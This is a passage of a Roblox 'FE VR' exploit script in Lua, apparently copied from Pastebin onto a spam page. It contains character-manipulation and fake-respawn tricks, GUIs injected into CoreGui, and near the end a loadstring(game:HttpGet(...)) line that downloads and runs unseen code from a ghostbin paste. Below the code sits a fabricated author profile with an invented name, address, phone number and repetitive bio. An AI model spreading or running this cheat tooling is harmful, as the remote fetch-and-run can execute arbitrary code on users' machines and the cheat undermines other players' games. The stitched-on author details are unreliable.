  738. Respawn()

  739. end

  740. end

  741. if Input.KeyCode == Enum.KeyCode.C then

  742. VirtualBody:MoveTo(Mouse.Hit.p)

  743. VirtualRig:MoveTo(Mouse.Hit.p)

  744. end

  745. end

  746. if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then

  747. Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {

  748. WalkSpeed = 16

  749. })

  750. end

  751. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then

  752. Point1 = true

  753. end

  754. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then

  755. Point2 = true

  756. end

  757. if VRReady and Input.KeyCode == Enum.KeyCode.ButtonY then

  758. Character:BreakJoints()

  759. if RagdollEnabled and RagdollHeadMovement then

  760. Network:Unclaim()

  761. Respawn()

  762. end

  763. end

  764. end)

  765. local OnInputEnded = UserInputService.InputEnded:Connect(function(Input, Processed)

  766. if not Processed then

  767. if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then

  768. Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {

  769. CameraOffset = Vector3.new(0, StudsOffset, 0)

  770. })

  771. end

  772. end

  773. if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then

  774. Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {

  775. WalkSpeed = 8

  776. })

  777. end

  778. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then

  779. Point1 = false

  780. end

  781. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then

  782. Point2 = false

  783. end

  784. end)

  785. --[[

  786. Proper Cleanup

  787. --]]

  788. local OnReset

  789. OnReset = Client.CharacterAdded:Connect(function()

  790. OnReset:Disconnect();

  791. CFrameChanged:Disconnect();

  792. OnStepped:Disconnect();

  793. OnRenderStepped:Disconnect();

  794. OnMoving:Disconnect();

  795. OnInput:Disconnect();

  796. OnInputEnded:Disconnect();

  797. VirtualRig:Destroy();

  798. VirtualBody:Destroy();

  799. if RagdollEnabled then

  800. Network:Unclaim();

  801. end

  802. if AutoRun then

  803. delay(2, function()

  804. Script()

  805. end)

  806. end

  807. end)

  808. if ChatEnabled then

  809. spawn(ChatHUDFunc)

  810. end

  811. if ViewportEnabled then

  812. spawn(ViewHUDFunc)

  813. end

  814. do

  815. --[[

  816. Functions

  817. --]]

  818. local Players = game:GetService("Players")

  819. local Client = Players.LocalPlayer

  820. local VRService = game:GetService("VRService")

  821. local VRReady = VRService.VREnabled

  822. local UserInputService = game:GetService("UserInputService")

  823. local RunService = game:GetService("RunService")

  824. local Camera = workspace.CurrentCamera

  825. --[[

  826. Code

  827. --]]

  828. if VRReady then

  829. local Pointer = game:GetObjects("rbxassetid://4476173280")[1]

  830. Pointer.Parent = workspace

  831. Pointer.Beam.Enabled = false

  832. Pointer.Target.ParticleEmitter.Enabled = false

  833. local RenderStepped = RunService.RenderStepped:Connect(function()

  834. if Pointer.Beam.Enabled then

  835. local RightHand = Camera.CFrame * VRService:GetUserCFrame(Enum.UserCFrame.RightHand)

  836. local Target = RightHand * CFrame.new(0, 0, -10)

  837. local Line = Ray.new(RightHand.p, (Target.p - RightHand.p).Unit * 128)

  838. local Part, Position = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character, Pointer})

  839. local Distance = (Position - RightHand.p).Magnitude

  840. Pointer.Target.Position = Vector3.new(0, 0, -Distance)

  841. Pointer.CFrame = RightHand

  842. end

  843. end)

  844. local Input = UserInputService.InputBegan:Connect(function(Input)

  845. if Input.KeyCode == Enum.KeyCode.ButtonB then

  846. Pointer.Beam.Enabled = not Pointer.Beam.Enabled

  847. Pointer.Target.ParticleEmitter.Enabled = not Pointer.Target.ParticleEmitter.Enabled

  848. end

  849. end)

  850. --

  851. local CharacterAdded

  852. CharacterAdded = Client.CharacterAdded:Connect(function()

  853. RenderStepped:Disconnect()

  854. Input:Disconnect()

  855. CharacterAdded:Disconnect()

  856. Pointer:Destroy()

  857. Pointer = nil

  858. end)

  859. else

  860. return

  861. end

  862. end

  863. end;

  864. Permadeath = function()

  865. local ch = game.Players.LocalPlayer.Character

  866. local prt=Instance.new("Model", workspace)

  867. local z1 = Instance.new("Part", prt)

  868. z1.Name="Torso"

  869. z1.CanCollide = false

  870. z1.Anchored = true

  871. local z2 =Instance.new("Part", prt)

  872. z2.Name="Head"

  873. z2.Anchored = true

  874. z2.CanCollide = false

  875. local z3 =Instance.new("Humanoid", prt)

  876. z3.Name="Humanoid"

  877. z1.Position = Vector3.new(0,9999,0)

  878. z2.Position = Vector3.new(0,9991,0)

  879. game.Players.LocalPlayer.Character=prt

  880. wait(5)

  881. warn("50%")

  882. game.Players.LocalPlayer.Character=ch

  883. wait(6)

  884. warn("100%")

  885. end;

  886. Respawn = function()

  887. local ch = game.Players.LocalPlayer.Character

  888. local prt=Instance.new("Model", workspace)

  889. local z1 = Instance.new("Part", prt)

  890. z1.Name="Torso"

  891. z1.CanCollide = false

  892. z1.Anchored = true

  893. local z2 =Instance.new("Part", prt)

  894. z2.Name="Head"

  895. z2.Anchored = true

  896. z2.CanCollide = false

  897. local z3 =Instance.new("Humanoid", prt)

  898. z3.Name="Humanoid"

  899. z1.Position = Vector3.new(0,9999,0)

  900. z2.Position = Vector3.new(0,9991,0)

  901. game.Players.LocalPlayer.Character=prt

  902. wait(5)

  903. game.Players.LocalPlayer.Character=ch

  904. end;

  905. ChatHUDFunc = function()

  906. --[[

  907. Variables

  908. --]]

  909. local UserInputService = game:GetService("UserInputService")

  910. local RunService = game:GetService("RunService")

  911. local VRService = game:GetService("VRService")

  912. local VRReady = VRService.VREnabled

  913. local Players = game:GetService("Players")

  914. local Client = Players.LocalPlayer

  915. local ChatHUD = game:GetObjects("rbxassetid://4476067885")[1]

  916. local GlobalFrame = ChatHUD.GlobalFrame

  917. local Template = GlobalFrame.Template

  918. local LocalFrame = ChatHUD.LocalFrame

  919. local Global = ChatHUD.Global

  920. local Local = ChatHUD.Local

  921. local Camera = workspace.CurrentCamera

  922. Template.Parent = nil

  923. ChatHUD.Parent = game:GetService("CoreGui")

  924. --[[

  925. Code

  926. --]]

  927. local Highlight = Global.Frame.BackgroundColor3

  928. local Deselected = Local.Frame.BackgroundColor3

  929. local OpenGlobalTab = function()

  930. Global.Frame.BackgroundColor3 = Highlight

  931. Local.Frame.BackgroundColor3 = Deselected

  932. Global.Font = Enum.Font.SourceSansBold

  933. Local.Font = Enum.Font.SourceSans

  934. GlobalFrame.Visible = true

  935. LocalFrame.Visible = false

  936. end

  937. local OpenLocalTab = function()

  938. Global.Frame.BackgroundColor3 = Deselected

  939. Local.Frame.BackgroundColor3 = Highlight

  940. Global.Font = Enum.Font.SourceSans

  941. Local.Font = Enum.Font.SourceSansBold

  942. GlobalFrame.Visible = false

  943. LocalFrame.Visible = true

  944. end

  945. Global.MouseButton1Down:Connect(OpenGlobalTab)

  946. Local.MouseButton1Down:Connect(OpenLocalTab)

  947. Global.MouseButton1Click:Connect(OpenGlobalTab)

  948. Local.MouseButton1Click:Connect(OpenLocalTab)

  949. OpenLocalTab()

  950. --

  951. local function GetPlayerDistance(Sender)

  952. if Sender.Character and Sender.Character:FindFirstChild("Head") then

  953. return math.floor((Sender.Character.Head.Position - Camera:GetRenderCFrame().p).Magnitude + 0.5)

  954. end

  955. end

  956. local function NewGlobal(Message, Sender, Color)

  957. local Frame = Template:Clone()

  958. Frame.Text = ("[%s]: %s"):format(Sender.Name, Message)

  959. Frame.User.Text = ("[%s]:"):format(Sender.Name)

  960. Frame.User.TextColor3 = Color

  961. Frame.BackgroundColor3 = Color

  962. Frame.Parent = GlobalFrame

  963. delay(60, function()

  964. Frame:Destroy()

  965. end)

  966. end

  967. local function NewLocal(Message, Sender, Color, Dist)

  968. local Frame = Template:Clone()

  969. Frame.Text = ("(%s) [%s]: %s"):format(tostring(Dist), Sender.Name, Message)

  970. Frame.User.Text = ("(%s) [%s]:"):format(tostring(Dist), Sender.Name)

  971. Frame.User.TextColor3 = Color

  972. Frame.BackgroundColor3 = Color

  973. Frame.Parent = LocalFrame

  974. delay(60, function()

  975. Frame:Destroy()

  976. end)

  977. end

  978. local function OnNewChat(Message, Sender, Color)

  979. if not ChatHUD or not ChatHUD.Parent then return end

  980. NewGlobal(Message, Sender, Color)

  981. local Distance = GetPlayerDistance(Sender)

  982. if Distance and Distance <= ChatLocalRange then

  983. NewLocal(Message, Sender, Color, Distance)

  984. end

  985. end

  986. local function OnPlayerAdded(Player)

  987. if not ChatHUD or not ChatHUD.Parent then return end

  988. local Color = BrickColor.Random().Color

  989. Player.Chatted:Connect(function(Message)

  990. OnNewChat(Message, Player, Color)

  991. end)

  992. end

  993. Players.PlayerAdded:Connect(OnPlayerAdded)

  994. for _, Player in pairs(Players:GetPlayers()) do

  995. OnPlayerAdded(Player)

  996. end

  997. --

  998. local ChatPart = ChatHUD.Part

  999. ChatHUD.Adornee = ChatPart

  1000. if VRReady then

  1001. ChatHUD.Parent = game:GetService("CoreGui")

  1002. ChatHUD.Enabled = true

  1003. ChatHUD.AlwaysOnTop = true

  1004. local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)

  1005. if not Processed then

  1006. if Input.KeyCode == Enum.KeyCode.ButtonX then

  1007. ChatHUD.Enabled = not ChatHUD.Enabled

  1008. end

  1009. end

  1010. end)

  1011. local RenderStepped = RunService.RenderStepped:Connect(function()

  1012. local LeftHand = VRService:GetUserCFrame(Enum.UserCFrame.LeftHand)

  1013. ChatPart.CFrame = Camera.CFrame * LeftHand

  1014. end)

  1015. local CharacterAdded

  1016. CharacterAdded = Client.CharacterAdded:Connect(function()

  1017. OnInput:Disconnect()

  1018. RenderStepped:Disconnect()

  1019. CharacterAdded:Disconnect()

  1020. ChatHUD:Destroy()

  1021. ChatHUD = nil

  1022. end)

  1023. end

  1024. wait(9e9)

  1025. end;

  1026. ViewHUDFunc = function()

  1027. --[[

  1028. Variables

  1029. --]]

  1030. local ViewportRange = ViewportRange or 32

  1031. local UserInputService = game:GetService("UserInputService")

  1032. local RunService = game:GetService("RunService")

  1033. local VRService = game:GetService("VRService")

  1034. local VRReady = VRService.VREnabled

  1035. local Players = game:GetService("Players")

  1036. local Client = Players.LocalPlayer

  1037. local Mouse = Client:GetMouse()

  1038. local Camera = workspace.CurrentCamera

  1039. local CameraPort = Camera.CFrame

  1040. local ViewHUD = script:FindFirstChild("ViewHUD") or game:GetObjects("rbxassetid://4480405425")[1]

  1041. local Viewport = ViewHUD.Viewport

  1042. local Viewcam = Instance.new("Camera")

  1043. local ViewPart = ViewHUD.Part

  1044. ViewHUD.Parent = game:GetService("CoreGui")

  1045. Viewcam.Parent = Viewport

  1046. Viewcam.CameraType = Enum.CameraType.Scriptable

  1047. Viewport.CurrentCamera = Viewcam

  1048. Viewport.BackgroundTransparency = 1

  1049. --[[

  1050. Code

  1051. --]]

  1052. local function Clone(Character)

  1053. local Arc = Character.Archivable

  1054. local Clone;

  1055. Character.Archivable = true

  1056. Clone = Character:Clone()

  1057. Character.Archivable = Arc

  1058. return Clone

  1059. end

  1060. local function GetPart(Name, Parent, Descendants)

  1061. for i = 1, #Descendants do

  1062. local Part = Descendants[i]

  1063. if Part.Name == Name and Part.Parent.Name == Parent then

  1064. return Part

  1065. end

  1066. end

  1067. end

  1068. local function OnPlayerAdded(Player)

  1069. if not ViewHUD or not ViewHUD.Parent then return end

  1070. local function CharacterAdded(Character)

  1071. if not ViewHUD or not ViewHUD.Parent then return end

  1072. Character:WaitForChild("Head")

  1073. Character:WaitForChild("Humanoid")

  1074. wait(3)

  1075. local FakeChar = Clone(Character)

  1076. local Root = FakeChar:FindFirstChild("HumanoidRootPart") or FakeChar:FindFirstChild("Head")

  1077. local RenderConnection;

  1078. local Descendants = FakeChar:GetDescendants()

  1079. local RealDescendants = Character:GetDescendants()

  1080. local Correspondents = {};

  1081. FakeChar.Humanoid.DisplayDistanceType = "None"

  1082. for i = 1, #Descendants do

  1083. local Part = Descendants[i]

  1084. local Real = Part:IsA("BasePart") and GetPart(Part.Name, Part.Parent.Name, RealDescendants)

  1085. if Part:IsA("BasePart") and Real then

  1086. Part.Anchored = true

  1087. Part:BreakJoints()

  1088. if Part.Parent:IsA("Accessory") then

  1089. Part.Transparency = 0

  1090. end

  1091. table.insert(Correspondents, {Part, Real})

  1092. end

  1093. end

  1094. RenderConnection = RunService.RenderStepped:Connect(function()

  1095. if not Character or not Character.Parent then

  1096. RenderConnection:Disconnect()

  1097. FakeChar:Destroy()

  1098. return

  1099. end

  1100. if (Root and (Root.Position - Camera.CFrame.p).Magnitude <= ViewportRange) or Player == Client or not Root then

  1101. for i = 1, #Correspondents do

  1102. local Part, Real = unpack(Correspondents[i])

  1103. if Part and Real and Part.Parent and Real.Parent then

  1104. Part.CFrame = Real.CFrame

  1105. elseif Part.Parent and not Real.Parent then

  1106. Part:Destroy()

  1107. end

  1108. end

  1109. end

  1110. end)

  1111. FakeChar.Parent = Viewcam

  1112. end

  1113. Player.CharacterAdded:Connect(CharacterAdded)

  1114. if Player.Character then

  1115. spawn(function()

  1116. CharacterAdded(Player.Character)

  1117. end)

  1118. end

  1119. end

  1120. local PlayerAdded = Players.PlayerAdded:Connect(OnPlayerAdded)

  1121. for _, Player in pairs(Players:GetPlayers()) do

  1122. OnPlayerAdded(Player)

  1123. end

  1124. ViewPart.Size = Vector3.new()

  1125. if VRReady then

  1126. Viewport.Position = UDim2.new(.62, 0, .89, 0)

  1127. Viewport.Size = UDim2.new(.3, 0, .3, 0)

  1128. Viewport.AnchorPoint = Vector2.new(.5, 1)

  1129. else

  1130. Viewport.Size = UDim2.new(0.3, 0, 0.3, 0)

  1131. end

  1132. local RenderStepped = RunService.RenderStepped:Connect(function()

  1133. local Render = Camera.CFrame

  1134. local Scale = Camera.ViewportSize

  1135. if VRReady then

  1136. Render = Render * VRService:GetUserCFrame(Enum.UserCFrame.Head)

  1137. end

  1138. CameraPort = CFrame.new(Render.p + Vector3.new(5, 2, 0), Render.p)

  1139. Viewport.Camera.CFrame = CameraPort

  1140. ViewPart.CFrame = Render * CFrame.new(0, 0, -16)

  1141. ViewHUD.Size = UDim2.new(0, Scale.X - 6, 0, Scale.Y - 6)

  1142. end)

  1143. --

  1144. local CharacterAdded

  1145. CharacterAdded = Client.CharacterAdded:Connect(function()

  1146. RenderStepped:Disconnect()

  1147. CharacterAdded:Disconnect()

  1148. PlayerAdded:Disconnect()

  1149. ViewHUD:Destroy()

  1150. ViewHUD = nil

  1151. end)

  1152. wait(9e9)

  1153. end;

  1154. Script()

  1155. wait(2)

  1156. local Players = game:GetService("Players")

  1157. local lp = Players.LocalPlayer

  1158. local character = lp.Character

  1159. local A0LL = Instance.new("Attachment", character["Left Leg"])

  1160. A0LL.Position = Vector3.new(0, 1, 0)

  1161. local A1LL = Instance.new("Attachment", character["Torso"])

  1162. A1LL.Position = Vector3.new(-0.5, -1, 0)

  1163. local socket1 = Instance.new("BallSocketConstraint", character["Left Leg"])

  1164. socket1.Attachment0 = A0LL

  1165. socket1.Attachment1 = A1LL

  1166. local A0RL = Instance.new("Attachment", character["Right Leg"])

  1167. A0RL.Position = Vector3.new(0, 1, 0)

  1168. local A1RL = Instance.new("Attachment", character["Torso"])

  1169. A1RL.Position = Vector3.new(0.5, -1, 0)

  1170. local socket2 = Instance.new("BallSocketConstraint", character["Right Leg"])

  1171. socket2.Attachment0 = A0RL

  1172. socket2.Attachment1 = A1RL

  1173. local A0H = Instance.new("Attachment", character["Head"])

  1174. A0H.Position = Vector3.new(0, -0.5, 0)

  1175. local A1H = Instance.new("Attachment", character["Torso"])

  1176. A1H.Position = Vector3.new(0, 1, 0)

  1177. local socket5 = Instance.new("BallSocketConstraint", character["Head"])

  1178. socket5.Attachment0 = A0H

  1179. socket5.Attachment1 = A1H

  1180. loadstring(game:HttpGet("https://ghostbin.co/paste/krmyf/raw",true))()

  1181. -----------------------------------------------------------

  1182. wait(9e9)

FE VR SCRIPT 3/9/2022 - Pastebin.com (2024)

References

Top Articles
Latest Posts
Article information

Author: Nathanial Hackett

Last Updated:

Views: 5648

Rating: 4.1 / 5 (52 voted)

Reviews: 91% of readers found this page helpful

Author information

Name: Nathanial Hackett

Birthday: 1997-10-09

Address: Apt. 935 264 Abshire Canyon, South Nerissachester, NM 01800

Phone: +9752624861224

Job: Forward Technology Assistant

Hobby: Listening to music, Shopping, Vacation, Baton twirling, Flower arranging, Blacksmithing, Do it yourself

Introduction: My name is Nathanial Hackett, I am a lovely, curious, smiling, lively, thoughtful, courageous, lively person who loves writing and wants to share my knowledge and understanding with you.